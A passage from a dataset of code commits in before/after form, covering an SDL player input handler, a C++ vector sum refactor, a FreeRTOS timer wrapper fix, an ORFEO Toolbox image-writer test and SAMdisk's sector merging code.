(handlerInstance->joysticksInitialised()) {\n\t\tif (handlerInstance->getButtonState(0, 1)) {\n\t\t\tvelocityBasis = 2.5;\n\t\t\tsetAnimationSpeed(15);\n\t\t}\n\t\telse {\n\t\t\tsetAnimationSpeed(10);\n\t\t}\n\n\t\txAxisValue = (float) handlerInstance->stickXValue(0, LEFT_STICK);\n\t\tyAxisValue = (float) handlerInstance->stickYValue(0, LEFT_STICK);\n\t\tif (xAxisValue > 0 || xAxisValue < 0) {\n\t\t\tm_velocity.setX(velocityBasis * xAxisValue);\n\t\t\tsetAnimated(true);\n\t\t}\n\n\t\tif (yAxisValue > 0 || yAxisValue < 0) {\n\t\t\tm_velocity.setY(velocityBasis * yAxisValue);\n\t\t\tsetAnimated(true);\n\t\t}\n\t}\n}\n\n\/**\n * Reset the player velocity and update the input even polling and the player\n *\/\nvoid Player::update() {\n\tsetAnimated(false);\n\tm_velocity.setX(0);\n\tm_velocity.setY(0);\n\n\thandleInput();\n\tSDLDrawable::update();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * template.cpp\n *\n * Just some boilerplate stuff to use for each file.\n *\/\n\n#include <iostream>\n#include <complex>\nusing namespace std;\n\nstruct Vector {\n int size;\n double *elem;\n};\n\nvoid vector_init(Vector & v, int s)\n{\n v.elem = new double[s];\n v.size = s;\n}\n\ndouble read_and_sum(int s)\n{\n Vector v;\n vector_init(v, s);\n for (auto i=0; i!=s; ++i)\n cin >> v.elem[i];\n\n double sum = 0;\n for (auto i=0; i!=s; ++i)\n sum += v.elem[i];\n \n return sum;\n}\n\nint main()\n{\n const auto num_vals = 5;\n\n cout << \"Please give me \" << num_vals << \" floating point numbers.\\n\";\n double sum = read_and_sum(num_vals);\n cout << \"The sum is: \" << sum << \"\\n\";\n}\n\n\/\/ vim: set ai sw=4 et sm:\n<commit_msg>Just for grins, break vector handling into 3 separate routines: init, read, sum.<commit_after>\/*\n * template.cpp\n *\n * Just some boilerplate stuff to use for each file.\n *\/\n\n#include <iostream>\n#include <complex>\nusing namespace std;\n\nstruct Vector {\n int size;\n double *elem;\n};\n\nvoid vector_init(Vector & v, int s)\n{\n v.elem = new double[s];\n v.size = s;\n}\n\n\/* Fill values in a Vector. Assume an already initialized vector is passed in *\/\nvoid read_vector(Vector & v)\n{\n cout << \"Please give me \" << v.size << \" floating point numbers.\\n\";\n\n for (auto i=0; i!=v.size; ++i)\n cin >> v.elem[i];\n}\n\n\/* Sum values in a Vector. *\/\ndouble sum_vector(Vector & v)\n{\n double sum = 0;\n for (auto i=0; i!=v.size; ++i)\n sum += v.elem[i];\n \n return sum;\n}\n\nint main()\n{\n int num_vals;\n\n cout << \"How many elements in the vector? \";\n cin >> num_vals;\n\n Vector v;\n vector_init(v, num_vals);\n read_vector(v);\n\n \/\/ double sum = read_and_sum(num_vals);\n cout << \"The sum is: \" << sum_vector(v) << \"\\n\";\n}\n\n\/\/ vim: set ai sw=4 et sm:\n<|endoftext|>"} {"text":"<commit_before>#include \"RTimer.h\"\n#include \"RTimerEvent.h\"\n#include \"RCoreApplication.h\"\n#include \"RScopedPointer.h\"\n\nRTimer::RTimer() : mIsSingleShot(false)\n{\n \/\/ NOTE: Set timer run as idle task by default, but we can't set interval to\n \/\/ zero, otherwise the created timer will return to NULL, so we give value 1 .\n mHandle = xTimerCreate(\n \"\",\n 1,\n pdFALSE, \/\/ one-shot timer\n reinterpret_cast<void *>(0),\n onTimeout\n );\n vTimerSetTimerID(mHandle, this);\n}\n\nRTimer::~RTimer()\n{\n xTimerDelete(mHandle, 0);\n}\n\nint\nRTimer::interval() const\n{\n return xTimerGetPeriod(mHandle) * portTICK_PERIOD_MS;\n}\n\nbool\nRTimer::isActive() const\n{\n return xTimerIsTimerActive(mHandle);\n}\n\nbool\nRTimer::isSingleShot() const\n{\n return mIsSingleShot;\n}\n\nvoid\nRTimer::setInterval(int msec)\n{\n xTimerChangePeriod(mHandle, msec \/ portTICK_PERIOD_MS, 0);\n\n \/\/ xTimerChangePeriod will cause timer start, so we need to stop it\n \/\/ immediately\n stop();\n}\n\nvoid\nRTimer::setSingleShot(bool singleShot)\n{\n mIsSingleShot = singleShot;\n}\n\nint\nRTimer::timerId() const\n{\n \/\/ WARNING: We shorten handle to id value, but it may lead duplicate id values.\n return rShortenPtr(pvTimerGetTimerID(mHandle));\n}\n\nvoid\nRTimer::start(int msec)\n{\n setInterval(msec);\n start();\n}\n\nvoid\nRTimer::start()\n{\n stop();\n xTimerStart(mHandle, 0);\n}\n\nvoid\nRTimer::stop()\n{\n xTimerStop(mHandle, 0);\n}\n\nbool\nRTimer::event(REvent *e)\n{\n if(e->type() == RTimerEvent::staticType())\n {\n \/\/ FIXME: Here may be generate a potential crash\n auto timerEvent = static_cast<RTimerEvent *>(e);\n\n timeout.emit();\n\n if(!mIsSingleShot)\n {\n start(); \/\/ Restart timer for next round\n }\n\n timerEvent->accept();\n return true;\n }\n\n return RObject::event(e);\n}\n\nvoid\nRTimer::onTimeout(TimerHandle_t handle)\n{\n auto self = static_cast<RTimer *>(pvTimerGetTimerID(handle));\n\n \/\/ NOTE: Event will be deleted in REventLoop after they handled that event.\n RScopedPointer<RTimerEvent> event(new RTimerEvent(self->timerId()));\n\n RCoreApplication::postEvent(self, event.take());\n}\n<commit_msg>Fixed period may less or equal to 0<commit_after>#include \"RTimer.h\"\n#include \"RTimerEvent.h\"\n#include \"RCoreApplication.h\"\n#include \"RScopedPointer.h\"\n\nRTimer::RTimer() : mIsSingleShot(false)\n{\n \/\/ NOTE: Set timer run as idle task by default, but we can't set interval to\n \/\/ zero, otherwise the created timer will return to NULL, so we give value 1 .\n mHandle = xTimerCreate(\n \"\",\n 1,\n pdFALSE, \/\/ one-shot timer\n reinterpret_cast<void *>(0),\n onTimeout\n );\n vTimerSetTimerID(mHandle, this);\n}\n\nRTimer::~RTimer()\n{\n xTimerDelete(mHandle, 0);\n}\n\nint\nRTimer::interval() const\n{\n return xTimerGetPeriod(mHandle) * portTICK_PERIOD_MS;\n}\n\nbool\nRTimer::isActive() const\n{\n return xTimerIsTimerActive(mHandle);\n}\n\nbool\nRTimer::isSingleShot() const\n{\n return mIsSingleShot;\n}\n\nvoid\nRTimer::setInterval(int msec)\n{\n msec \/= portTICK_PERIOD_MS;\n\n if(msec <= 0)\n {\n msec = 1;\n }\n\n xTimerChangePeriod(mHandle, msec, 0);\n\n \/\/ xTimerChangePeriod will cause timer start, so we need to stop it\n \/\/ immediately\n stop();\n}\n\nvoid\nRTimer::setSingleShot(bool singleShot)\n{\n mIsSingleShot = singleShot;\n}\n\nint\nRTimer::timerId() const\n{\n \/\/ WARNING: We shorten handle to id value, but it may lead duplicate id values.\n return rShortenPtr(pvTimerGetTimerID(mHandle));\n}\n\nvoid\nRTimer::start(int msec)\n{\n setInterval(msec);\n start();\n}\n\nvoid\nRTimer::start()\n{\n stop();\n xTimerStart(mHandle, 0);\n}\n\nvoid\nRTimer::stop()\n{\n xTimerStop(mHandle, 0);\n}\n\nbool\nRTimer::event(REvent *e)\n{\n if(e->type() == RTimerEvent::staticType())\n {\n \/\/ FIXME: Here may be generate a potential crash\n auto timerEvent = static_cast<RTimerEvent *>(e);\n\n timeout.emit();\n\n if(!mIsSingleShot)\n {\n start(); \/\/ Restart timer for next round\n }\n\n timerEvent->accept();\n return true;\n }\n\n return RObject::event(e);\n}\n\nvoid\nRTimer::onTimeout(TimerHandle_t handle)\n{\n auto self = static_cast<RTimer *>(pvTimerGetTimerID(handle));\n\n \/\/ NOTE: Event will be deleted in REventLoop after they handled that event.\n RScopedPointer<RTimerEvent> event(new RTimerEvent(self->timerId()));\n\n RCoreApplication::postEvent(self, event.take());\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n\n\n\n#include \"otbVectorImage.h\"\n#include \"itkMacro.h\"\n#include <iostream>\n#include \"otbImageFileReader.h\"\n#include \"otbImageFileWriter.h\"\n#include \"otbMultiChannelExtractROI.h\"\n\nint otbImageFileWriterWithExtendedOptionBox(int argc, char* argv[])\n{\n \/\/ Verify the number of parameters in the command line\n const std::string inputFilename = argv[1];\n const std::string outputFilename = argv[2];\n\n const unsigned int startx = atoi(argv[3]);\n const unsigned int starty = atoi(argv[4]);\n const unsigned int sizex = atoi(argv[5]);\n const unsigned int sizey = atoi(argv[6]);\n const unsigned int ram = atoi(argv[7]);\n const std::string separator = \":\";\n\n typedef float InputPixelType;\n typedef float OutputPixelType;\n\n typedef otb::VectorImage<InputPixelType, 2> InputImageType;\n\n typedef InputImageType::PixelType PixelType;\n\n typedef otb::MultiChannelExtractROI<InputImageType::InternalPixelType,\n InputImageType::InternalPixelType> ExtractROIFilterType;\n\n typedef otb::ImageFileReader<InputImageType> ReaderType;\n typedef otb::ImageFileWriter<InputImageType> WriterType;\n\n typedef itk::ImageRegionIterator< InputImageType > IteratorType;\n typedef itk::ImageRegionConstIterator< InputImageType > ConstIteratorType;\n\n ReaderType::Pointer reader = ReaderType::New();\n ExtractROIFilterType::Pointer extractROIFilter = ExtractROIFilterType::New();\n WriterType::Pointer writer = WriterType::New();\n\n reader->SetFileName(inputFilename);\n\n \/\/Build output filename with extended box\n std::ostringstream outputFilenameExtended;\n outputFilenameExtended\n << outputFilename\n << \"?&box=\" << startx << separator\n << starty << separator\n << sizex << separator\n << sizey\n ;\n\n std::cout << \"Output image with user defined path \" << outputFilenameExtended.str() << std::endl;\n\n writer->SetFileName(outputFilenameExtended.str());\n writer->SetInput(reader->GetOutput());\n writer->SetAutomaticAdaptativeStreaming(ram);\n\n extractROIFilter->SetStartX(startx);\n extractROIFilter->SetStartY(starty);\n extractROIFilter->SetSizeX(sizex);\n extractROIFilter->SetSizeY(sizey);\n extractROIFilter->SetInput(reader->GetOutput());\n\n writer->Update();\n extractROIFilter->Update();\n\n ReaderType::Pointer reader2 = ReaderType::New();\n reader2->SetFileName(outputFilename);\n\n reader2->Update();\n\n InputImageType::ConstPointer readImage = reader2->GetOutput();\n InputImageType::ConstPointer extractImage = extractROIFilter->GetOutput();\n\n ConstIteratorType ritr( readImage, readImage->GetLargestPossibleRegion() );\n ConstIteratorType extractitr( extractImage, extractImage->GetLargestPossibleRegion() );\n\n ritr.GoToBegin();\n extractitr.GoToBegin();\n\n std::cout << \"Comparing the pixel values.. :\" << std::endl;\n\n while( !ritr.IsAtEnd() && !extractitr.IsAtEnd() )\n {\n if( ritr.Get() != extractitr.Get() )\n {\n std::cerr << \"Pixel comparison failed at index = \" << ritr.GetIndex() << std::endl;\n std::cerr << \"Expected pixel value \" << extractitr.Get() << std::endl;\n std::cerr << \"Read Image pixel value \" << ritr.Get() << std::endl;\n return EXIT_FAILURE;\n }\n ++extractitr;\n ++ritr;\n }\n\n std::cout << std::endl;\n std::cout << \"Test PASSED !\" << std::endl;\n\n return EXIT_SUCCESS;\n}\n<commit_msg>STYLE<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n =========================================================================*\/\n\n\n\n#include \"otbVectorImage.h\"\n#include \"itkMacro.h\"\n#include <iostream>\n#include \"otbImageFileReader.h\"\n#include \"otbImageFileWriter.h\"\n#include \"otbMultiChannelExtractROI.h\"\n\nint otbImageFileWriterWithExtendedOptionBox(int argc, char* argv[])\n{\n \/\/ Verify the number of parameters in the command line\n const std::string inputFilename = argv[1];\n const std::string outputFilename = argv[2];\n\n const unsigned int startx = atoi(argv[3]);\n const unsigned int starty = atoi(argv[4]);\n const unsigned int sizex = atoi(argv[5]);\n const unsigned int sizey = atoi(argv[6]);\n const unsigned int ram = atoi(argv[7]);\n const std::string separator = \":\";\n\n typedef float InputPixelType;\n typedef float OutputPixelType;\n\n typedef otb::VectorImage<InputPixelType, 2> InputImageType;\n\n typedef InputImageType::PixelType PixelType;\n\n typedef otb::MultiChannelExtractROI<InputImageType::InternalPixelType,\n InputImageType::InternalPixelType> ExtractROIFilterType;\n\n typedef otb::ImageFileReader<InputImageType> ReaderType;\n typedef otb::ImageFileWriter<InputImageType> WriterType;\n\n typedef itk::ImageRegionIterator< InputImageType > IteratorType;\n typedef itk::ImageRegionConstIterator< InputImageType > ConstIteratorType;\n\n ReaderType::Pointer reader = ReaderType::New();\n ExtractROIFilterType::Pointer extractROIFilter = ExtractROIFilterType::New();\n WriterType::Pointer writer = WriterType::New();\n\n reader->SetFileName(inputFilename);\n\n \/\/Build output filename with extended box\n std::ostringstream outputFilenameExtended;\n outputFilenameExtended\n << outputFilename\n << \"?&box=\" << startx << separator\n << starty << separator\n << sizex << separator\n << sizey\n;\n\n std::cout << \"Output image with user defined path \" << outputFilenameExtended.str() << std::endl;\n\n writer->SetFileName(outputFilenameExtended.str());\n writer->SetInput(reader->GetOutput());\n writer->SetAutomaticAdaptativeStreaming(ram);\n\n extractROIFilter->SetStartX(startx);\n extractROIFilter->SetStartY(starty);\n extractROIFilter->SetSizeX(sizex);\n extractROIFilter->SetSizeY(sizey);\n extractROIFilter->SetInput(reader->GetOutput());\n\n writer->Update();\n extractROIFilter->Update();\n\n ReaderType::Pointer reader2 = ReaderType::New();\n reader2->SetFileName(outputFilename);\n\n reader2->Update();\n\n InputImageType::ConstPointer readImage = reader2->GetOutput();\n InputImageType::ConstPointer extractImage = extractROIFilter->GetOutput();\n\n ConstIteratorType ritr( readImage, readImage->GetLargestPossibleRegion() );\n ConstIteratorType extractitr( extractImage, extractImage->GetLargestPossibleRegion() );\n\n ritr.GoToBegin();\n extractitr.GoToBegin();\n\n std::cout << \"Comparing the pixel values.. :\" << std::endl;\n\n while( !ritr.IsAtEnd() && !extractitr.IsAtEnd() )\n {\n if( ritr.Get() != extractitr.Get() )\n {\n std::cerr << \"Pixel comparison failed at index = \" << ritr.GetIndex() << std::endl;\n std::cerr << \"Expected pixel value \" << extractitr.Get() << std::endl;\n std::cerr << \"Read Image pixel value \" << ritr.Get() << std::endl;\n return EXIT_FAILURE;\n }\n ++extractitr;\n ++ritr;\n }\n\n std::cout << std::endl;\n std::cout << \"Test PASSED !\" << std::endl;\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"SAMdisk.h\"\n#include \"Sector.h\"\n\nSector::Sector (DataRate datarate_, Encoding encoding_, const Header &header_, int gap3_)\n\t: header(header_), datarate(datarate_), encoding(encoding_), gap3(gap3_)\n{\n}\n\nbool Sector::operator== (const Sector §or) const\n{\n\t\/\/ Headers must match\n\tif (sector.header != header)\n\t\treturn false;\n\n\t\/\/ If neither has data it's a match\n\tif (sector.m_data.size() == 0 && m_data.size() == 0)\n\t\treturn true;\n\n\t\/\/ Both sectors must have some data\n\tif (sector.copies() == 0 || copies() == 0)\n\t\treturn false;\n\n\t\/\/ Both first sectors must have at least the natural size to compare\n\tif (sector.data_size() < sector.size() || data_size() < size())\n\t\treturn false;\n\n\t\/\/ The natural data contents must match\n\treturn std::equal(data_copy().begin(), data_copy().begin() + size(), sector.data_copy().begin());\n}\n\nint Sector::size () const\n{\n\treturn header.sector_size();\n}\n\nint Sector::data_size () const\n{\n\treturn copies() ? static_cast<int>(m_data[0].size()) : 0;\n}\n\nconst DataList &Sector::datas () const\n{\n\treturn m_data;\n}\n\nDataList &Sector::datas ()\n{\n\treturn m_data;\n}\n\nconst Data &Sector::data_copy (int copy\/*=0*\/) const\n{\n\tcopy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0);\n\treturn m_data[copy];\n}\n\nData &Sector::data_copy (int copy\/*=0*\/)\n{\n\tassert(m_data.size() != 0);\n\tcopy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0);\n\treturn m_data[copy];\n}\n\nint Sector::copies () const\n{\n\treturn static_cast<int>(m_data.size());\n}\n\nSector::Merge Sector::add (Data &&data, bool bad_crc, uint8_t new_dam)\n{\n\tMerge ret = Merge::NewData;\n\tassert(!copies() || dam == new_dam);\n\n\t\/\/ If the sector has a bad header CRC, it can't have any data\n\tif (has_badidcrc())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ If there's enough data, check the CRC state\n\tif (static_cast<int>(data.size()) >= (size() + 2))\n\t{\n\t\tCRC16 crc;\n\t\tif (encoding == Encoding::MFM) crc.init(CRC16::A1A1A1);\n\t\tcrc.add(new_dam);\n\t\tauto bad_data_crc = crc.add(data.data(), size() + 2) != 0;\n\t\tassert(bad_crc == bad_data_crc);\n\t\t(void)bad_data_crc;\n\t}\n\n\t\/\/ If the exising sector has good data, ignore supplied data if it's bad\n\tif (bad_crc && copies() && !has_baddatacrc())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ If the existing sector is bad, new good data will replace it all\n\tif (!bad_crc && has_baddatacrc())\n\t{\n\t\tremove_data();\n\t\tret = Merge::Improved;\n\t}\n\n\t\/\/ 8K sectors always have a CRC error, but may include a secondary checksum\n\tif (is_8k_sector())\n\t{\n\t\t\/\/ Attempt to identify the 8K checksum method used by the new data\n\t\tauto chk8k_method = Get8KChecksumMethod(data.data(), data.size());\n\n\t\t\/\/ If it's recognised, replace any existing data with it\n\t\tif (chk8k_method >= CHK8K_FOUND)\n\t\t{\n\t\t\tremove_data();\n\t\t\tret = Merge::Improved;\n\t\t}\n\t\t\/\/ Do we already have a copy?\n\t\telse if (copies() == 1)\n\t\t{\n\t\t\t\/\/ Can we identify the method used by the existing copy?\n\t\t\tchk8k_method = Get8KChecksumMethod(m_data[0].data(), m_data[0].size());\n\t\t\tif (chk8k_method >= CHK8K_FOUND)\n\t\t\t{\n\t\t\t\t\/\/ Keep the existing, ignoring the new data\n\t\t\t\treturn Merge::Unchanged;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ Look for existing data that is a superset of what we're adding\n\tauto it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) {\n\t\treturn d.size() >= data.size() && std::equal(data.begin(), data.end(), d.begin());\n\t});\n\n\t\/\/ Return if we already have a better copy\n\tif (it != m_data.end())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ Look for existing data that is a subset of what we're adding\n\tit = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) {\n\t\treturn d.size() <= data.size() && std::equal(d.begin(), d.end(), data.begin());\n\t});\n\n\t\/\/ Remove the inferior copy\n\tif (it != m_data.end())\n\t{\n\t\tm_data.erase(it);\n\t\tret = Merge::Improved;\n\t}\n\n\t\/\/ DD 8K sectors are considered complete at 6K, everything else at natural size\n\tauto complete_size = is_8k_sector() ? 0x1800 : data.size();\n\n\t\/\/ Is the supplied data enough for a complete sector?\n\tif (data.size() >= complete_size)\n\t{\n\t\t\/\/ Look for existing data that contains the same normal sector data\n\t\tit = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) {\n\t\t\treturn d.size() >= complete_size && std::equal(d.begin(), d.begin() + complete_size, data.begin());\n\t\t});\n\n\t\t\/\/ Found a match?\n\t\tif (it != m_data.end())\n\t\t{\n\t\t\t\/\/ Return if the new one isn't larger\n\t\t\tif (data.size() <= it->size())\n\t\t\t\treturn Merge::Unchanged;\n\n\t\t\t\/\/ Remove the existing smaller copy\n\t\t\tm_data.erase(it);\n\t\t}\n\n\t\t\/\/ Will we now have multiple copies?\n\t\tif (m_data.size() > 0)\n\t\t{\n\t\t\t\/\/ Keep multiple copies the same size, whichever is shortest\n\t\t\tauto new_size = std::min(data.size(), m_data[0].size());\n\t\t\tdata.resize(new_size);\n\n\t\t\t\/\/ Resize any existing copies to match\n\t\t\tfor (auto &d : m_data)\n\t\t\t\td.resize(new_size);\n\t\t}\n\t}\n\n\t\/\/ Insert the new data copy, unless it the copy count (default is 3)\n\tif (copies() < opt.maxcopies)\n\t\tm_data.emplace_back(std::move(data));\n\n\t\/\/ Update the data CRC state and DAM\n\tm_bad_data_crc = bad_crc;\n\tdam = new_dam;\n\n\treturn ret;\n}\n\nSector::Merge Sector::merge (Sector &§or)\n{\n\tMerge ret = Merge::Unchanged;\n\n\t\/\/ If the new header CRC is bad there's nothing we can use\n\tif (sector.has_badidcrc())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ Something is wrong if the new details don't match the existing one\n\tassert(sector.header == header);\n\tassert(sector.datarate == datarate);\n\tassert(sector.encoding == encoding);\n\n\t\/\/ If the existing header is bad, repair it\n\tif (has_badidcrc())\n\t{\n\t\theader = sector.header;\n\t\tset_badidcrc(false);\n\t\tret = Merge::Improved;\n\t}\n\n\t\/\/ We can't repair good data with bad\n\tif (!has_baddatacrc() && sector.has_baddatacrc())\n\t\treturn ret;\n\n\t\/\/ Add the new data snapshots\n\tfor (Data &data : sector.m_data)\n\t{\n\t\t\/\/ Move the data into place, passing on the existing data CRC status and DAM\n\t\tif (add(std::move(data), sector.has_baddatacrc(), sector.dam) != Merge::Unchanged)\n\t\t\tret = Merge::Improved;\t\/\/ ToDo: detect NewData return?\n\t}\n\tsector.m_data.clear();\n\n\treturn ret;\n}\n\n\nbool Sector::has_data () const\n{\n\treturn copies() != 0;\n}\n\nbool Sector::has_gapdata () const\n{\n\treturn data_size() > size();\n}\n\nbool Sector::has_shortdata () const\n{\n\treturn data_size() < size();\n}\n\nbool Sector::has_badidcrc () const\n{\n\treturn m_bad_id_crc;\n}\n\nbool Sector::has_baddatacrc () const\n{\n\treturn m_bad_data_crc;\n}\n\nbool Sector::is_deleted () const\n{\n\treturn dam == 0xf8 || dam == 0xf9;\n}\n\nbool Sector::is_altdam () const\n{\n\treturn dam == 0xfa;\n}\n\nbool Sector::is_rx02dam () const\n{\n\treturn dam == 0xfd;\n}\n\nbool Sector::is_8k_sector () const\n{\n\t\/\/ +3 and CPC disks treat this as a virtual complete sector\n\treturn datarate == DataRate::_250K && encoding == Encoding::MFM && header.size == 6;\n}\n\nvoid Sector::set_badidcrc (bool bad)\n{\n\tm_bad_id_crc = bad;\n\n\tif (bad)\n\t\tremove_data();\n}\n\nvoid Sector::set_baddatacrc (bool bad)\n{\n\tm_bad_data_crc = bad;\n\n\tif (!bad && copies() > 1)\n\t\tm_data.resize(1);\n}\n\nvoid Sector::remove_data ()\n{\n\tm_data.clear();\n\tm_bad_data_crc = false;\n\tdam = 0xfb;\n}\n\nvoid Sector::remove_gapdata ()\n{\n\tif (!has_gapdata())\n\t\treturn;\n\n\tfor (auto &data : m_data)\n\t\tdata.resize(size());\n}\n\n\/\/ Map a size code to how it's treated by the uPD765 FDC on the PC\nint Sector::SizeCodeToRealSizeCode (int size)\n{\n\t\/\/ Sizes above 8 are treated as 8 (32K)\n\treturn (size <= 7) ? size : 8;\n}\n\n\/\/ Return the sector length for a given sector size code\nint Sector::SizeCodeToLength (int size)\n{\n\t\/\/ 2 ^ (7 + size)\n\treturn 128 << SizeCodeToRealSizeCode(size);\n}\n<commit_msg>Improved clearing sector data errors<commit_after>#include \"SAMdisk.h\"\n#include \"Sector.h\"\n\nSector::Sector (DataRate datarate_, Encoding encoding_, const Header &header_, int gap3_)\n\t: header(header_), datarate(datarate_), encoding(encoding_), gap3(gap3_)\n{\n}\n\nbool Sector::operator== (const Sector §or) const\n{\n\t\/\/ Headers must match\n\tif (sector.header != header)\n\t\treturn false;\n\n\t\/\/ If neither has data it's a match\n\tif (sector.m_data.size() == 0 && m_data.size() == 0)\n\t\treturn true;\n\n\t\/\/ Both sectors must have some data\n\tif (sector.copies() == 0 || copies() == 0)\n\t\treturn false;\n\n\t\/\/ Both first sectors must have at least the natural size to compare\n\tif (sector.data_size() < sector.size() || data_size() < size())\n\t\treturn false;\n\n\t\/\/ The natural data contents must match\n\treturn std::equal(data_copy().begin(), data_copy().begin() + size(), sector.data_copy().begin());\n}\n\nint Sector::size () const\n{\n\treturn header.sector_size();\n}\n\nint Sector::data_size () const\n{\n\treturn copies() ? static_cast<int>(m_data[0].size()) : 0;\n}\n\nconst DataList &Sector::datas () const\n{\n\treturn m_data;\n}\n\nDataList &Sector::datas ()\n{\n\treturn m_data;\n}\n\nconst Data &Sector::data_copy (int copy\/*=0*\/) const\n{\n\tcopy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0);\n\treturn m_data[copy];\n}\n\nData &Sector::data_copy (int copy\/*=0*\/)\n{\n\tassert(m_data.size() != 0);\n\tcopy = std::max(std::min(copy, static_cast<int>(m_data.size()) - 1), 0);\n\treturn m_data[copy];\n}\n\nint Sector::copies () const\n{\n\treturn static_cast<int>(m_data.size());\n}\n\nSector::Merge Sector::add (Data &&data, bool bad_crc, uint8_t new_dam)\n{\n\tMerge ret = Merge::NewData;\n\tassert(!copies() || dam == new_dam);\n\n\t\/\/ If the sector has a bad header CRC, it can't have any data\n\tif (has_badidcrc())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ If there's enough data, check the CRC state\n\tif (static_cast<int>(data.size()) >= (size() + 2))\n\t{\n\t\tCRC16 crc;\n\t\tif (encoding == Encoding::MFM) crc.init(CRC16::A1A1A1);\n\t\tcrc.add(new_dam);\n\t\tauto bad_data_crc = crc.add(data.data(), size() + 2) != 0;\n\t\tassert(bad_crc == bad_data_crc);\n\t\t(void)bad_data_crc;\n\t}\n\n\t\/\/ If the exising sector has good data, ignore supplied data if it's bad\n\tif (bad_crc && copies() && !has_baddatacrc())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ If the existing sector is bad, new good data will replace it all\n\tif (!bad_crc && has_baddatacrc())\n\t{\n\t\tremove_data();\n\t\tret = Merge::Improved;\n\t}\n\n\t\/\/ 8K sectors always have a CRC error, but may include a secondary checksum\n\tif (is_8k_sector())\n\t{\n\t\t\/\/ Attempt to identify the 8K checksum method used by the new data\n\t\tauto chk8k_method = Get8KChecksumMethod(data.data(), data.size());\n\n\t\t\/\/ If it's recognised, replace any existing data with it\n\t\tif (chk8k_method >= CHK8K_FOUND)\n\t\t{\n\t\t\tremove_data();\n\t\t\tret = Merge::Improved;\n\t\t}\n\t\t\/\/ Do we already have a copy?\n\t\telse if (copies() == 1)\n\t\t{\n\t\t\t\/\/ Can we identify the method used by the existing copy?\n\t\t\tchk8k_method = Get8KChecksumMethod(m_data[0].data(), m_data[0].size());\n\t\t\tif (chk8k_method >= CHK8K_FOUND)\n\t\t\t{\n\t\t\t\t\/\/ Keep the existing, ignoring the new data\n\t\t\t\treturn Merge::Unchanged;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ Look for existing data that is a superset of what we're adding\n\tauto it = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) {\n\t\treturn d.size() >= data.size() && std::equal(data.begin(), data.end(), d.begin());\n\t});\n\n\t\/\/ Return if we already have a better copy\n\tif (it != m_data.end())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ Look for existing data that is a subset of what we're adding\n\tit = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) {\n\t\treturn d.size() <= data.size() && std::equal(d.begin(), d.end(), data.begin());\n\t});\n\n\t\/\/ Remove the inferior copy\n\tif (it != m_data.end())\n\t{\n\t\tm_data.erase(it);\n\t\tret = Merge::Improved;\n\t}\n\n\t\/\/ DD 8K sectors are considered complete at 6K, everything else at natural size\n\tauto complete_size = is_8k_sector() ? 0x1800 : data.size();\n\n\t\/\/ Is the supplied data enough for a complete sector?\n\tif (data.size() >= complete_size)\n\t{\n\t\t\/\/ Look for existing data that contains the same normal sector data\n\t\tit = std::find_if(m_data.begin(), m_data.end(), [&] (const Data &d) {\n\t\t\treturn d.size() >= complete_size && std::equal(d.begin(), d.begin() + complete_size, data.begin());\n\t\t});\n\n\t\t\/\/ Found a match?\n\t\tif (it != m_data.end())\n\t\t{\n\t\t\t\/\/ Return if the new one isn't larger\n\t\t\tif (data.size() <= it->size())\n\t\t\t\treturn Merge::Unchanged;\n\n\t\t\t\/\/ Remove the existing smaller copy\n\t\t\tm_data.erase(it);\n\t\t}\n\n\t\t\/\/ Will we now have multiple copies?\n\t\tif (m_data.size() > 0)\n\t\t{\n\t\t\t\/\/ Keep multiple copies the same size, whichever is shortest\n\t\t\tauto new_size = std::min(data.size(), m_data[0].size());\n\t\t\tdata.resize(new_size);\n\n\t\t\t\/\/ Resize any existing copies to match\n\t\t\tfor (auto &d : m_data)\n\t\t\t\td.resize(new_size);\n\t\t}\n\t}\n\n\t\/\/ Insert the new data copy, unless it the copy count (default is 3)\n\tif (copies() < opt.maxcopies)\n\t\tm_data.emplace_back(std::move(data));\n\n\t\/\/ Update the data CRC state and DAM\n\tm_bad_data_crc = bad_crc;\n\tdam = new_dam;\n\n\treturn ret;\n}\n\nSector::Merge Sector::merge (Sector &§or)\n{\n\tMerge ret = Merge::Unchanged;\n\n\t\/\/ If the new header CRC is bad there's nothing we can use\n\tif (sector.has_badidcrc())\n\t\treturn Merge::Unchanged;\n\n\t\/\/ Something is wrong if the new details don't match the existing one\n\tassert(sector.header == header);\n\tassert(sector.datarate == datarate);\n\tassert(sector.encoding == encoding);\n\n\t\/\/ If the existing header is bad, repair it\n\tif (has_badidcrc())\n\t{\n\t\theader = sector.header;\n\t\tset_badidcrc(false);\n\t\tret = Merge::Improved;\n\t}\n\n\t\/\/ We can't repair good data with bad\n\tif (!has_baddatacrc() && sector.has_baddatacrc())\n\t\treturn 